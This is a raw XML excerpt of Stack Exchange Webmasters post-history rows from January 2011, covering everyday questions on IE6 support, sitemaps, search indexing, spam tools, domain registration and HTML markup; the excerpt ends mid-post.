  <row Id="17218" PostHistoryTypeId="2" PostId="8040" RevisionGUID="ce4f5356-3b3f-452f-94e3-35846b32fc69" CreationDate="2011-01-21T15:28:28.707" UserId="3310" Text="A goal will be registered if it is hit no matter how you get there.  With a funnel required steps must be hit and in the correct order otherwise they will not register as finished." />
  <row Id="17219" PostHistoryTypeId="2" PostId="8041" RevisionGUID="cdf5911d-5707-4044-a831-9db2f6afd219" CreationDate="2011-01-21T15:33:52.363" UserId="4775" Text="I'm wondering if it's appropriate to try and get my user base to upgrade from IE6 to newer browsers? Right now we only have 5% of users coming from IE6 or less, we of course don't want to support IE6 further, but is it bad practice to offer suggestions to those using older browsers?" />
  <row Id="17220" PostHistoryTypeId="1" PostId="8041" RevisionGUID="cdf5911d-5707-4044-a831-9db2f6afd219" CreationDate="2011-01-21T15:33:52.363" UserId="4775" Text="Should I try and get my users to upgrade from IE6?" />
  <row Id="17221" PostHistoryTypeId="3" PostId="8041" RevisionGUID="cdf5911d-5707-4044-a831-9db2f6afd219" CreationDate="2011-01-21T15:33:52.363" UserId="4775" Text="&lt;cross-browser&gt;&lt;internet-explorer-6&gt;" />
  <row Id="17222" PostHistoryTypeId="2" PostId="8042" RevisionGUID="0f79c20b-38f6-4c37-a7a3-73d6caf4bf1c" CreationDate="2011-01-21T15:40:06.910" UserId="1253" Text="Most people using IE nowadays either do not want to upgrade or cannot upgrade either due to cost or they are using a work computer and cannot do upgrades to their software. For these people telling them to upgrade will really just be an annoying message (that they're probably getting in a lot of other places).&#xD;&#xA;&#xD;&#xA;At this point, just build your websites to take advantage of newer technologies and just be sure they degrade gracefully in IE 6. As long as your site still works for them they'll keep using it. Their experience just won't be quite as good us that of users with more modern browsers." />
  <row Id="17223" PostHistoryTypeId="2" PostId="8043" RevisionGUID="37cc944a-41c5-4afb-ae34-71739895f251" CreationDate="2011-01-21T15:48:33.423" UserDisplayName="pauljwilliams" Text="The Robots.txt serves as a guide for search engines when they arrive at your site and begin their crawl. If you are suggesting that you've disallowed search engines from crawling your site and decide you wanted it index thereafter, you may want to expedite the process.&#xD;&#xA;&#xD;&#xA;Googlebot (Google's crawler), for instance, engages site [depending on a number of factors][1], including &quot;PageRank, links to a page, and crawling constraints such as the number of parameters in a URL&quot;, which are all based on a super secret computer algorithm. &#xD;&#xA;&#xD;&#xA;One way to expedite the process of indexation is setting up a Webmaster Tools account (for both Google and Bing), and submitting your Robots.txt (which includes permission to crawl the site) and an XML sitemap. This suggests to search engines that your site exists and is operational.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=34439" />
  <row Id="17224" PostHistoryTypeId="2" PostId="8044" RevisionGUID="27bbda6b-364f-4561-88f3-72170751cf05" CreationDate="2011-01-21T15:52:25.470" UserId="1955" Text="You can always sue Google Webmaster Tools to request reindexing of your website(resubmit sitemap) and google will know that it have to check your site soon." />
  <row Id="17225" PostHistoryTypeId="2" PostId="8045" RevisionGUID="4fa66af8-c9a8-44f7-b50a-bfc4d41d9307" CreationDate="2011-01-21T16:05:05.153" UserDisplayName="JP19" Text="A small message, which they can choose to remove, is not harmful imo. Can be implemented easily using cookies/sessions and optionally javascript.&#xD;&#xA;" />
  <row Id="17226" PostHistoryTypeId="5" PostId="8043" RevisionGUID="f786f3a2-9e27-444f-ac9c-8a946eba10ee" CreationDate="2011-01-21T16:09:02.860" UserDisplayName="pauljwilliams" Comment="added 4 characters in body" Text="The Robots.txt serves as a guide for search engines when they arrive at your site and begin their crawl. If you are suggesting that you've disallowed search engines from crawling your site and decide you wanted it index thereafter, you may want to expedite the process.&#xD;&#xA;&#xD;&#xA;Googlebot (Google's crawler), for instance, engages site [depending on a number of factors][1], including &quot;PageRank, links to a page, and crawling constraints such as the number of parameters in a URL&quot;, which are all based on a super secret computer algorithm. &#xD;&#xA;&#xD;&#xA;One way to expedite the process of indexation is **setting up a Webmaster Tools account (for both Google and Bing), and submitting your Robots.txt (which includes permission to crawl the site) and an XML sitemap**. This suggests to search engines that your site exists and is operational.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=34439" />
  <row Id="17227" PostHistoryTypeId="25" PostId="8041" RevisionGUID="d86381a2-e05d-4aa0-bf28-9ef5c0316725" CreationDate="2011-01-21T16:55:45.643" Comment="http://twitter.com/#!/StackWebmasters/status/28495978810056704" />
  <row Id="17228" PostHistoryTypeId="17" PostId="8047" RevisionGUID="58d0d946-9cb8-4dd0-89cc-aa2718a80290" CreationDate="2011-01-21T16:55:54.633" UserId="-1" Comment="from http://stackoverflow.com/questions/3831610/recommended-spam-best-practices/3831637#3831637" Text="" />
  <row Id="17229" PostHistoryTypeId="17" PostId="8048" RevisionGUID="7e1273fa-51df-4486-815e-1796bff513dc" CreationDate="2011-01-21T16:55:54.633" UserId="-1" Comment="from http://stackoverflow.com/questions/3831610/recommended-spam-best-practices/3831648#3831648" Text="" />
  <row Id="17230" PostHistoryTypeId="17" PostId="8049" RevisionGUID="9a51f64b-dcc0-4068-81d1-1497349044f9" CreationDate="2011-01-21T16:55:54.633" UserId="-1" Comment="from http://stackoverflow.com/questions/3831610/recommended-spam-best-practices/3831657#3831657" Text="" />
  <row Id="17231" PostHistoryTypeId="2" PostId="8047" RevisionGUID="95173723-1e58-41b0-a14a-dd6b9e43e572" CreationDate="2010-09-30T14:36:31.767" UserDisplayName="Starkey" Text="I've always had luck with SpamAssassin.  http://spamassassin.apache.org/" />
  <row Id="17232" PostHistoryTypeId="2" PostId="8048" RevisionGUID="c9b7d803-d653-40da-8f7b-7a81a6e5a484" CreationDate="2010-09-30T14:37:39.413" UserDisplayName="Jimbo James" Text="If its for business and you can get the costs authorised, I always use Message Labs, they offer an excellent service." />
  <row Id="17233" PostHistoryTypeId="2" PostId="8049" RevisionGUID="ef1fcc6d-e799-4b80-a55a-9d75d4d61952" CreationDate="2010-09-30T14:38:35.967" UserId="1997" Text="While perhaps a little dated, this is a good starting point if you're trying to think about developing something: [A Plan for Spam][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.paulgraham.com/spam.html" />
  <row Id="17234" PostHistoryTypeId="2" PostId="8046" RevisionGUID="9b3a4581-cd7f-42bd-ae2b-30a97c748b14" CreationDate="2010-09-30T14:34:04.807" UserDisplayName="Albert Wang" Text="Are there any recommended admin tools or interfaces for reviewing and moderating spam on a community-driven UGC site?" />
  <row Id="17235" PostHistoryTypeId="1" PostId="8046" RevisionGUID="9b3a4581-cd7f-42bd-ae2b-30a97c748b14" CreationDate="2010-09-30T14:34:04.807" UserDisplayName="Albert Wang" Text="Recommended Spam Best Practices" />
  <row Id="17236" PostHistoryTypeId="3" PostId="8046" RevisionGUID="9b3a4581-cd7f-42bd-ae2b-30a97c748b14" CreationDate="2010-09-30T14:34:04.807" UserDisplayName="Albert Wang" Text="&lt;c&gt;&lt;spam-prevention&gt;&lt;ugc&gt;" />
  <row Id="17237" PostHistoryTypeId="17" PostId="8046" RevisionGUID="636716a1-8c1b-4a15-8b90-4dd0d8cda34d" CreationDate="2011-01-21T16:55:54.633" UserId="-1" Comment="from http://stackoverflow.com/questions/3831610/recommended-spam-best-practices" Text="" />
  <row Id="17238" PostHistoryTypeId="2" PostId="8050" RevisionGUID="48cd0ea7-b987-41a4-bd25-5fc2696b7832" CreationDate="2011-01-21T17:08:13.497" UserId="2632" Text="We have a website that uses the Google Maps static maps functionality to embed maps into pages. This works with no problem; we just use something like this:&#xD;&#xA;&#xD;&#xA;    &lt;img src=&quot;http://maps.google.com/maps/api/staticmap?zoom=15&amp;size=512x512&amp;maptype=roadmap&amp;markers=color:red|label:H|42.038322,-87.680260&amp;sensor=false&quot; /&gt;&#xD;&#xA;&#xD;&#xA;We are now creating a mobile site for the same client. The code itself will still work, but I'm wondering how to make sure I get a map that doesn't take over the entire screen, but is still readable. Is there a standard size that's used for mobile screens? I'm guessing with the static maps there's no way for a user to click to zoom in if we use a small size, but the regular API requires javascript and a lot of mobile browsers still don't support it.&#xD;&#xA;&#xD;&#xA;Any ideas?" />
  <row Id="17239" PostHistoryTypeId="1" PostId="8050" RevisionGUID="48cd0ea7-b987-41a4-bd25-5fc2696b7832" CreationDate="2011-01-21T17:08:13.497" UserId="2632" Text="Google maps for a mobile site" />
  <row Id="17240" PostHistoryTypeId="3" PostId="8050" RevisionGUID="48cd0ea7-b987-41a4-bd25-5fc2696b7832" CreationDate="2011-01-21T17:08:13.497" UserId="2632" Text="&lt;google&gt;&lt;map&gt;" />
  <row Id="17241" PostHistoryTypeId="17" PostId="8052" RevisionGUID="81941570-af7d-40ee-ac3c-ee27179d0486" CreationDate="2011-01-21T17:09:19.370" UserId="-1" Comment="from http://stackoverflow.com/questions/4662061/server-infrastructure-recommendations/4761199#4761199" Text="" />
  <row Id="17242" PostHistoryTypeId="2" PostId="8052" RevisionGUID="9c8c895f-e88c-41bc-b461-c509016d7614" CreationDate="2011-01-21T16:29:18.300" UserDisplayName="anttir" Text="&#xD;&#xA;a few answers to get started:&#xD;&#xA;&#xD;&#xA;Using &quot;cloud&quot; is more hype than useful at the moment. You should have basic servers somewhere stable and running, with full backups several times a day, and configure your software so that you can expand it with several cloud computers during peak times if needed. &#xD;&#xA;Cloud computers are not very fast and they start to get very expensive with traffic. You could say the price is unreliable. &#xD;&#xA;&#xD;&#xA;Virtualization is usually good only for development. It's not for production use, as the system/disk speed is variable.&#xD;&#xA;&#xD;&#xA;Get managed dedicated servers so that someone else will notice the system is down and fix the hardware. Make sure the bootfiles are inplace and the system restores itself on boot.&#xD;&#xA;&#xD;&#xA;What is fast depends on application. If you are database heavy go for xeon processors. If you are disc heavy go to raid-5 or raid-10 systems and/or SSDs.&#xD;&#xA;&#xD;&#xA;Make sure you get backups daily on external location with also some older ones up to 6 months.&#xD;&#xA;&#xD;&#xA;CDN is propably the use of Coral or other caching network of computers distributing your static data. Worry about this when your site is full up and running.&#xD;&#xA;&#xD;&#xA;You can use your own nameservers as caching nameservers to speed up operation. I don't think there's any point hosting your own domains in your own nameservers as you'll get them elsewhere very cheap or for free.&#xD;&#xA;&#xD;&#xA;Btw, keeping your data out of the web/dbserver on another ftp server will propably slow down your site more than having the ftp daemon running on the webserver.&#xD;&#xA;&#xD;&#xA;Hope this helps.&#xD;&#xA;" />
  <row Id="17243" PostHistoryTypeId="2" PostId="8051" RevisionGUID="013b1a77-2f07-46b2-ad09-d1ac594c04a7" CreationDate="2011-01-11T20:06:58.457" UserDisplayName="Tim van Elsloo" Text="Here's the thing:&#xD;&#xA;I need a cheap, fast, reliable infrastructure that can dynamically scale (like Amazon S3: cloud-storage).&#xD;&#xA;I'm thinking of 3 different type of 'servers'.&#xD;&#xA;&#xD;&#xA;1. Application-server&#xD;&#xA; - Should be able to run CentOS (or another light Linux-distr.)&#xD;&#xA; - Should be able to run Apache&#xD;&#xA; - Should be able to run PHP&#xD;&#xA; - Should be able to run GD (so it does rely on it's cpu).&#xD;&#xA; - Should be *extremely* reliable and fast.&#xD;&#xA;&#xD;&#xA;2. Database-server&#xD;&#xA; - Should be able to run MySQL&#xD;&#xA; - Should be able to... well, do nothing else :P.&#xD;&#xA; - Should be *extremely* reliable and fast.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;3. Storage-server&#xD;&#xA; - Should be able to run some kind of file-transfer-deamon (like FTP, CouchDB, etc.)&#xD;&#xA; - Should be able to do nothing else.&#xD;&#xA; - Should be *extremely* reliable and fast.&#xD;&#xA;&#xD;&#xA;So technically, by transferring all static data to 2 different servers/services, the application-server can totally focus on the webpages.&#xD;&#xA;&#xD;&#xA;My questions:&#xD;&#xA;&#xD;&#xA; - What services do you recommend?&#xD;&#xA; - Which is cheaper, faster and more reliable: using my own server, or using some cloud-storage/cloud-computing-service (like Amazon S3, CloudFiles, etc.)?&#xD;&#xA; - How can I prevent bandwidth abuse (such as  dos-attacks causing the bill to be extremely high)?&#xD;&#xA; - What's the difference between &quot;including CDN&quot; and &quot;excluding CDN&quot;? It seems the price doesn't differ at CloudFiles?&#xD;&#xA; - Do you have to pay &quot;including CDN&quot; + &quot;excluding CDN&quot; when you decide to enable the delivery-network? Or have you only got to pay &quot;including CDN&quot;?&#xD;&#xA; - Should I use my own nameserver too or can I use my domain-hoster's nameservers? What are the minimum software specifications of a nameserver. Can I write some software myself? Does anyone have a good protocol-description?&#xD;&#xA;&#xD;&#xA;I hope you can answer my questions.&#xD;&#xA;&#xD;&#xA;**Answers**&#xD;&#xA;&#xD;&#xA; - I shouldn't write my own nameserver-software. Instead, I should use something like bind. (http://osspro.com/2010/05/04/linux-create-your-own-domain-name-server-dns/)." />
  <row Id="17244" PostHistoryTypeId="1" PostId="8051" RevisionGUID="013b1a77-2f07-46b2-ad09-d1ac594c04a7" CreationDate="2011-01-11T20:06:58.457" UserDisplayName="Tim van Elsloo" Text="Server-infrastructure recommendations" />
  <row Id="17245" PostHistoryTypeId="3" PostId="8051" RevisionGUID="013b1a77-2f07-46b2-ad09-d1ac594c04a7" CreationDate="2011-01-11T20:06:58.457" UserDisplayName="Tim van Elsloo" Text="&lt;php&gt;&lt;application&gt;&lt;cloud&gt;&lt;datastorage&gt;&lt;nameserver&gt;" />
  <row Id="17246" PostHistoryTypeId="17" PostId="8051" RevisionGUID="24c733a5-468e-45b8-b870-d8e6f3baabdf" CreationDate="2011-01-21T17:09:19.370" UserId="-1" Comment="from http://stackoverflow.com/questions/4662061/server-infrastructure-recommendations" Text="" />
  <row Id="17247" PostHistoryTypeId="2" PostId="8053" RevisionGUID="cbf2a27e-ad58-46fc-a880-bff3e512104a" CreationDate="2011-01-21T17:18:06.477" UserId="4778" Text="*this is not an answer to the above question*, I want a better solution so I am asking here itself&#xD;&#xA;&#xD;&#xA;Both of the methods would require modification to the files where the css and js files are referred. So in effect it would require a restart of the application server after making the changes.&#xD;&#xA;&#xD;&#xA;Is there a better way, where versioning of static files can be handled without having to restart the Application server ?&#xD;&#xA;&#xD;&#xA;the following is ruled out in the solution&#xD;&#xA;&#xD;&#xA; - changing the css and js filenames&#xD;&#xA; - passing a query paremeter in the url&#xD;&#xA;&#xD;&#xA;the solution also should not affect setting cache-control or expires.&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17248" PostHistoryTypeId="2" PostId="8054" RevisionGUID="f1a0df3e-15ef-43a1-93b7-23521076e08f" CreationDate="2011-01-21T18:36:23.523" UserDisplayName="Mr. Steve Jones" Text="http://Gotlivechat.com has web-based live chat solution. When you use the operator console you use a web browser. It was a big plus for us because we didn't want to have to install software locally to each operator computer." />
  <row Id="17249" PostHistoryTypeId="6" PostId="8026" RevisionGUID="f092bb48-b078-4d48-b68f-6e0d00c0c51c" CreationDate="2011-01-21T18:51:43.263" UserId="529" Comment="edited tags" Text="&lt;google-analytics&gt;&lt;goals&gt;&lt;goal-tracking&gt;" />
  <row Id="17250" PostHistoryTypeId="2" PostId="8055" RevisionGUID="c6e8d763-50cc-4601-8950-386e833bb3dd" CreationDate="2011-01-21T19:36:31.913" UserId="4784" Text="I have the following HTML and css&#xD;&#xA;&#xD;&#xA;    &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;&#xD;&#xA;    &lt;head&gt;&#xD;&#xA;	&lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;    #test&#xD;&#xA;    {&#xD;&#xA;       font-family:helvetica;&#xD;&#xA;       color:#000;&#xD;&#xA;       font-size:10px;&#xD;&#xA;    }&#xD;&#xA;	&lt;/style&gt;&#xD;&#xA;    &lt;/head&gt;&#xD;&#xA;    &lt;body&gt;&#xD;&#xA;    &lt;input type=&quot;password&quot; id=&quot;test&quot; name=&quot;pass&quot; size=&quot;30&quot; max=&quot;100&quot;&gt;&#xD;&#xA;    &lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;When I open it up in Firefox and enter some chars as expected bullets are displayed, however if I open it in IE 7 or 8 ugly little squares show up. &#xD;&#xA;If I comment out the font-family line in the style definition then both IE and Firefox properly display the bullets. &#xD;&#xA;My question is not how can I work around this, (I know i can just use a diff font-family or just not specify one) but what is causing IE to not properly display the bullets when the font-family is set to Helvitica?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17251" PostHistoryTypeId="1" PostId="8055" RevisionGUID="c6e8d763-50cc-4601-8950-386e833bb3dd" CreationDate="2011-01-21T19:36:31.913" UserId="4784" Text="Why do characters display funny in &lt;input type=&quot;password&quot;&gt;?" />
  <row Id="17252" PostHistoryTypeId="3" PostId="8055" RevisionGUID="c6e8d763-50cc-4601-8950-386e833bb3dd" CreationDate="2011-01-21T19:36:31.913" UserId="4784" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="17253" PostHistoryTypeId="2" PostId="8056" RevisionGUID="dacb93ee-62cd-4da5-b8d2-ae1e9053cfc8" CreationDate="2011-01-21T19:43:47.893" UserDisplayName="Nate Bross" Text="I have a website which has content which changes on a somewhat frequent basis, once a page is up, it will typically only change a few times per year, but new pages are added every month and old pages are removed a few times per year.&#xD;&#xA;&#xD;&#xA;I'd like to be able to dynamically generate the sitemap.xml data, but have its URL be something like &#xD;&#xA;&#xD;&#xA;    # is the sitemap &quot;index&quot;&#xD;&#xA;    http://www.mysite.com/Sitemap/Index/&#xD;&#xA;    # actual sitemap xml data&#xD;&#xA;    http://www.mysite.com/Sitemap/1/&#xD;&#xA;    http://www.mysite.com/Sitemap/2/&#xD;&#xA;&#xD;&#xA;Everywhere I've looked, I see people with physical paths like `sitemap.xml` so my question is this, will search engines rank me lower if my sitemap is dynamically generated?&#xD;&#xA;&#xD;&#xA;I don't have any control over my web server, so I can't use url-re-write or anything to make `sitemap.xml` actually return my data. &#xD;&#xA;&#xD;&#xA;I'm using ASP.NET MVC, so I've thought about adding a few routes to try to trick it, but I'm wondering if the above option (which is more straight forward) would cause search engines to penalize my site.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17254" PostHistoryTypeId="1" PostId="8056" RevisionGUID="dacb93ee-62cd-4da5-b8d2-ae1e9053cfc8" CreationDate="2011-01-21T19:43:47.893" UserDisplayName="Nate Bross" Text="Are there negative implications to using/deploying a dynamic &quot;sitemap.xml&quot;" />
  <row Id="17255" PostHistoryTypeId="3" PostId="8056" RevisionGUID="dacb93ee-62cd-4da5-b8d2-ae1e9053cfc8" CreationDate="2011-01-21T19:43:47.893" UserDisplayName="Nate Bross" Text="&lt;search-engines&gt;&lt;seo&gt;&lt;sitemap&gt;" />
  <row Id="17256" PostHistoryTypeId="17" PostId="8056" RevisionGUID="17ea0564-5107-420a-9174-79ef952b0927" CreationDate="2011-01-21T19:55:40.197" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/11552/are-there-negative-implications-to-using-deploying-a-dynamic-sitemap-xml" Text="" />
  <row Id="17257" PostHistoryTypeId="25" PostId="8032" RevisionGUID="3eeab07c-2144-4114-b61e-98806a50d094" CreationDate="2011-01-21T19:55:45.687" Comment="http://twitter.com/#!/StackWebmasters/status/28541277679128576" />
  <row Id="17260" PostHistoryTypeId="10" PostId="8056" RevisionGUID="6db2b1b2-e99a-40ca-8d22-9a49cb65ff22" CreationDate="2011-01-21T20:03:36.510" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="17261" PostHistoryTypeId="5" PostId="8056" RevisionGUID="ab54c110-dffd-47a4-94f7-e8eb5aa79779" CreationDate="2011-01-21T20:03:36.653" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Dynamic sitemap file](http://webmasters.stackexchange.com/questions/5587/dynamic-sitemap-file)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have a website which has content which changes on a somewhat frequent basis, once a page is up, it will typically only change a few times per year, but new pages are added every month and old pages are removed a few times per year.&#xD;&#xA;&#xD;&#xA;I'd like to be able to dynamically generate the sitemap.xml data, but have its URL be something like &#xD;&#xA;&#xD;&#xA;    # is the sitemap &quot;index&quot;&#xD;&#xA;    http://www.mysite.com/Sitemap/Index/&#xD;&#xA;    # actual sitemap xml data&#xD;&#xA;    http://www.mysite.com/Sitemap/1/&#xD;&#xA;    http://www.mysite.com/Sitemap/2/&#xD;&#xA;&#xD;&#xA;Everywhere I've looked, I see people with physical paths like `sitemap.xml` so my question is this, will search engines rank me lower if my sitemap is dynamically generated?&#xD;&#xA;&#xD;&#xA;I don't have any control over my web server, so I can't use url-re-write or anything to make `sitemap.xml` actually return my data. &#xD;&#xA;&#xD;&#xA;I'm using ASP.NET MVC, so I've thought about adding a few routes to try to trick it, but I'm wondering if the above option (which is more straight forward) would cause search engines to penalize my site.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="17262" PostHistoryTypeId="2" PostId="8058" RevisionGUID="b304b0d2-99ea-4f8e-814c-73a100b2fe53" CreationDate="2011-01-21T20:26:35.147" UserId="2480" Text="AFAIK it's hard to register one if you aren't resident. Are there registers which can pre-register for me .ne (like NetworkSolutions does for .eu)?" />
  <row Id="17263" PostHistoryTypeId="1" PostId="8058" RevisionGUID="b304b0d2-99ea-4f8e-814c-73a100b2fe53" CreationDate="2011-01-21T20:26:35.147" UserId="2480" Text="Registering .ne for non-residents" />
  <row Id="17264" PostHistoryTypeId="3" PostId="8058" RevisionGUID="b304b0d2-99ea-4f8e-814c-73a100b2fe53" CreationDate="2011-01-21T20:26:35.147" UserId="2480" Text="&lt;domains&gt;&lt;tld&gt;" />
  <row Id="17265" PostHistoryTypeId="2" PostId="8059" RevisionGUID="3699e7c6-5296-4bd1-8e74-ad112b9c4a37" CreationDate="2011-01-21T20:41:31.113" UserId="4787" Text="I run a couple of websites and I have several domain names. I struggle to recommend a place for non-technical &quot;civilians&quot; to register a domain name though. The first service I ever used was GoDaddy, which seems to be focused on less technical customers, but the experience is just so terrible. The sales process goes all out to load up customers with a dozen things they don't need.&#xD;&#xA;&#xD;&#xA;These days I just use one my current hosting providers.&#xD;&#xA;&#xD;&#xA;So as webmasters, where do you send your non-technical friends to register domain names? Is there a nice, simple, friendly service out there?" />
  <row Id="17266" PostHistoryTypeId="1" PostId="8059" RevisionGUID="3699e7c6-5296-4bd1-8e74-ad112b9c4a37" CreationDate="2011-01-21T20:41:31.113" UserId="4787" Text="Where is a good place for non-technical people to register domain names?" />
  <row Id="17267" PostHistoryTypeId="3" PostId="8059" RevisionGUID="3699e7c6-5296-4bd1-8e74-ad112b9c4a37" CreationDate="2011-01-21T20:41:31.113" UserId="4787" Text="&lt;domain-names&gt;" />
  <row Id="17268" PostHistoryTypeId="2" PostId="8060" RevisionGUID="61785811-d685-432f-8c07-481d2d801fa8" CreationDate="2011-01-21T20:54:40.693" UserId="4788" Text="There's several good apps you can look at for this, some of them available for free.&#xD;&#xA;&#xD;&#xA;[Netsparker][1] has a community edition that covers XSS and SQLi&#xD;&#xA;&#xD;&#xA;[Acunetix WVS][2] also have a community edition that can review sites for XSS.&#xD;&#xA;&#xD;&#xA;On top of that there's some free tools that you could use&#xD;&#xA;&#xD;&#xA;[skipfish][3] is a free security scanner from a google researcher&#xD;&#xA;&#xD;&#xA;[W3AF][4] is a a free web app. scanner&#xD;&#xA;&#xD;&#xA;BTW if you've got more questions on the security side of things, there's a dedicated Stack Exchange site at security.stackexchange.com&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.netsparker.com&#xD;&#xA;  [2]: http://www.acunetix.com/vulnerability-scanner/&#xD;&#xA;  [3]: http://code.google.com/p/skipfish/&#xD;&#xA;  [4]: http://w3af.sourceforge.net/" />
  <row Id="17269" PostHistoryTypeId="2" PostId="8061" RevisionGUID="509883df-190f-4132-9be4-63a451f2beb4" CreationDate="2011-01-21T20:56:43.437" UserId="1757" Text="Most web hosts allow you to register a domain through them. It's not a very technical process. All you have to do is pick a domain name and then put in your billing information. It's pretty much the same as purchasing anything else online.&#xD;&#xA;&#xD;&#xA;There's not much differentiation in difficulty or ease of use. Just like price, it's going to be about the same wherever you register it. Just refer them to a good, professional web host, and they can register and manage their domain using their hosting account. For shared hosting or VPS, DreamHost has fairly competitive pricing and good service. In terms of finding a reputable/non-sleazy web host, you could do a lot worse than them." />
  <row Id="17270" PostHistoryTypeId="5" PostId="8061" RevisionGUID="10eceb42-2d62-49ce-a921-4e7e3e8c9198" CreationDate="2011-01-21T21:02:44.940" UserId="1757" Comment="added 337 characters in body; added 141 characters in body" Text="Most web hosts allow you to register a domain through them. It's not a very technical process. All you have to do is pick a domain name and then put in your billing information. It's pretty much the same as purchasing anything else online.&#xD;&#xA;&#xD;&#xA;There's not much differentiation in difficulty or ease of use. Just like price, it's going to be about the same wherever you register it. Just refer them to a good, professional web host, and they can register and manage their domain using their hosting account. This saves them the trouble of having to mess with DNS servers. It also makes billing easier (plus most hosting plans give you a free domain).&#xD;&#xA;&#xD;&#xA;For shared hosting or VPS, DreamHost has fairly competitive pricing and good service. In terms of finding a reputable/non-sleazy web host, you could do a lot worse than them. Just don't go with a company that is cheap up front but charges you for basic services or lacks basic services. I tend to stick with the larger well known web host (local/no-name hosting companies tend to be incompetent and a poor value when you take into account their limited capabilities). But I definitely wouldn't use Godaddy." />
  <row Id="17271" PostHistoryTypeId="2" PostId="8062" RevisionGUID="04d83189-9056-4274-8def-987afd23a1a9" CreationDate="2011-01-21T21:16:33.640" UserId="1725" Text="Web design being around for so long, I would imagine we have some rules or guidelines regarding this topic. When a user visits your website for the first time, what particulars have been shown to take that visitor and transform them into a member/customer? There must be some proven methods of doing things -- something that shows a big cartoony graphic isn't the best way to do conversion (or maybe it is).&#xD;&#xA;&#xD;&#xA;Off the top of my head, I'm thinking of things like, login box in a clear spot, simple graphics, showing the product, etc...&#xD;&#xA;&#xD;&#xA;In my own searching I just keep hitting websites that talk about UI design of registration forms themselves." />
  <row Id="17272" PostHistoryTypeId="1" PostId="8062" RevisionGUID="04d83189-9056-4274-8def-987afd23a1a9" CreationDate="2011-01-21T21:16:33.640" UserId="1725" Text="What design/feature aspects assist in visitor conversion rates?" />
  <row Id="17273" PostHistoryTypeId="3" PostId="8062" RevisionGUID="04d83189-9056-4274-8def-987afd23a1a9" CreationDate="2011-01-21T21:16:33.640" UserId="1725" Text="&lt;website-design&gt;&lt;registration&gt;" />
  <row Id="17274" PostHistoryTypeId="2" PostId="8063" RevisionGUID="ebb19c4e-c85e-4149-9f0a-d690893618df" CreationDate="2011-01-21T21:42:29.170" UserId="4465" Text="In explanation of &lt;article&gt; tag [W3SCHOOL][1] :&#xD;&#xA;&#xD;&#xA;&gt; The &lt;article&gt; tag defines external&#xD;&#xA;&gt; content.&#xD;&#xA;&#xD;&#xA;What's the meaning of **external content** exactly ? It's mean *quoted (from somewhere) text* ? &#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/html5/tag_article.asp" />
  <row Id="17275" PostHistoryTypeId="1" PostId="8063" RevisionGUID="ebb19c4e-c85e-4149-9f0a-d690893618df" CreationDate="2011-01-21T21:42:29.170" UserId="4465" Text="Explanation of ARTICLE tag" />
  <row Id="17276" PostHistoryTypeId="3" PostId="8063" RevisionGUID="ebb19c4e-c85e-4149-9f0a-d690893618df" CreationDate="2011-01-21T21:42:29.170" UserId="4465" Text="&lt;html&gt;&lt;html5&gt;&lt;articles&gt;" />
  <row Id="17277" PostHistoryTypeId="2" PostId="8064" RevisionGUID="4e14b7ec-0a5e-4e07-a789-22ad061decf8" CreationDate="2011-01-21T22:00:37.613" UserId="1253" Text="From the [HTML 5 specs][1]:&#xD;&#xA;&#xD;&#xA;&gt; The article element represents a&#xD;&#xA;&gt; component of a page that consists of a&#xD;&#xA;&gt; self-contained composition in a&#xD;&#xA;&gt; document, page, application, or site&#xD;&#xA;&gt; and that is intended to be&#xD;&#xA;&gt; independently distributable or&#xD;&#xA;&gt; reusable, e.g. in syndication. This&#xD;&#xA;&gt; could be a forum post, a magazine or&#xD;&#xA;&gt; newspaper article, a blog entry, a&#xD;&#xA;&gt; user-submitted comment, an interactive&#xD;&#xA;&gt; widget or gadget, or any other&#xD;&#xA;&gt; independent item of content.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/html5/semantics.html#the-article-element" />
  <row Id="17278" PostHistoryTypeId="2" PostId="8065" RevisionGUID="dda72540-d431-4504-81df-febfa9ae9512" CreationDate="2011-01-21T22:27:46.627" UserDisplayName="John" Text="I am trying to figure out how to create dynamic links and urls on a static webpage.&#xD;&#xA;What I want to do is the following:&#xD;&#xA;&#xD;&#xA;I have a single webpage for example:&#xD;&#xA;MYWEBPAGEdotCOM/INDEX.HTML&#xD;&#xA;&#xD;&#xA;that will always look the same, except for one link on the page.&#xD;&#xA;the link would be on the page for example:&#xD;&#xA;&#xD;&#xA;LINK TO AFFILIATE:&#xD;&#xA;affiliatedotCOM/my-affiliate_code_here_DYNAMIC_REFERER&#xD;&#xA;&#xD;&#xA;the only thing would change is the &quot;DYNAMIC_REFERER&quot;  with every dynamic url on this page:&#xD;&#xA;&#xD;&#xA;MYWEBPAGEdotCOM/INDEX.PHP_id=test1&lt;br&gt;&#xD;&#xA;MYWEBPAGEdotCOM/INDEX.PHP_id=test2&lt;br&gt;&#xD;&#xA;MYWEBPAGEdotCOM/INDEX.PHP_id=test3&lt;br&gt;&#xD;&#xA;MYWEBPAGEdotCOM/INDEX.PHP_id=test4&lt;br&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;which would only hange the dynamic link on the page 